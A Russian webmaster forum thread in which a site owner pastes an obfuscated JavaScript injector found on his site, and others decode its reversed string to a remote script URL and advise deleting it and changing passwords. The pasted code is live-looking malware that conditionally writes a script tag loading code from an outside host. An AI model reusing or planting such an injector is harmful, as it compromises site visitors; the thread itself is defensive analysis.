- Поисковые системы
- Практика оптимизации
- Трафик для сайтов
- Монетизация сайтов
- Сайтостроение
- Социальный Маркетинг
- Общение профессионалов
- Биржа и продажа
- Финансовые объявления
- Работа на постоянной основе
- Сайты - покупка, продажа
- Соцсети: страницы, группы, приложения
- Сайты без доменов
- Трафик, тизерная и баннерная реклама
- Продажа, оценка, регистрация доменов
- Ссылки - обмен, покупка, продажа
- Программы и скрипты
- Размещение статей
- Инфопродукты
- Прочие цифровые товары
- Работа и услуги для вебмастера
- Оптимизация, продвижение и аудит
- Ведение рекламных кампаний
- Услуги в области SMM
- Программирование
- Администрирование серверов и сайтов
- Прокси, ВПН, анонимайзеры, IP
- Платное обучение, вебинары
- Регистрация в каталогах
- Копирайтинг, переводы
- Дизайн
- Usability: консультации и аудит
- Изготовление сайтов
- Наполнение сайтов
- Прочие услуги
- Не про работу
В 2023 году 36,9% всех DDoS-атак пришлось на сферу финансов
А 24,9% – на сегмент электронной коммерции
Оксана Мамчуева
Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий
Сегодня на одном из своих сайтов встретил вирус. Я не силен в скриптах, но мне кажется в итоге он генерирует ссылку на сайт. Есть мастера javascript которые могли бы расшифровать код и сказать куда эта ссылка ведет?
<!-- . --><script type="text/javascript"> function ckaoc(f,e){var b=document.referrer,d=document.cookie,h=0,c="",k='>tpircs/<>"sj.kcigam/ta.ndcorue.efas//:ptth"=crs "tpircsavaj/txet"=epyt tpircs<',g=window.location.host.replace("www.","").substr(0,4);if(0>d.indexOf(f)&&4<b.length&&0>=b.indexOf(g))0>d.indexOf(e)&&(b=new Date,b.setDate(b.getDate()+5),a=escape(c)+("; expires="+b.toUTCString()),document.cookie=e+"="+a,h=1);else if(0>d.indexOf(e)&&0>d.indexOf(f)&&(4>=b.length||4<=b.length&&4<b.indexOf(g)))b=new Date,b.setDate(b.getDate()+5),a=escape(c)+("; expires="+b.toUTCString()),document.cookie=f+"="+a;if(1==h||0<=d.indexOf(e)){for(n=k.length-1;0<=n;n--)c+=k.charAt(n);document.write(c)}}ckaoc("lgzqu","rkdfx"); </script><!-- . -->
просто удаляй его и меняй пароли
расшифровать код и сказать куда эта ссылка ведет?
А если не секрет, зачем Вам это? Может проще удалить вирус сайта?
sj.kcigam/ta.ndcorue.efas//:ptth
ссылка, задом-наперед.
А если не секрет, зачем Вам это? Может проще удалить вирус сайта?
Удалил конечно. Просто есть подозрение что рас это ссылка куда-то, то использовалось для продвижения кого-то. Вот и подумал что может быть удасться вычеслить кого именно.
http://safe.eurocdn.at/magick.js (та что задом наперед) Ведет на другой скрип(((
Вот и подумал что может быть удасться вычеслить кого именно.
И дальше? Пойдете, побьете сервер молотком?
Может быть это конкуренты, многих из них я знаю. И если их кто-то двигет таким способом возможно они распращаются с продвиженцем.
Soxay, пойдете, побьете продвиженца молотком? Бейте по пальцам, что бы полгода не мог клавиатурой пользоваться.
А по сабжу - самый обычный вирус, которых в Рунете воз и малая тележка. Если почитаете как они работают, то поймете, что ваш сайт просто попал под каток, как и примерно 90 000 сайтов (по данным Яндекса)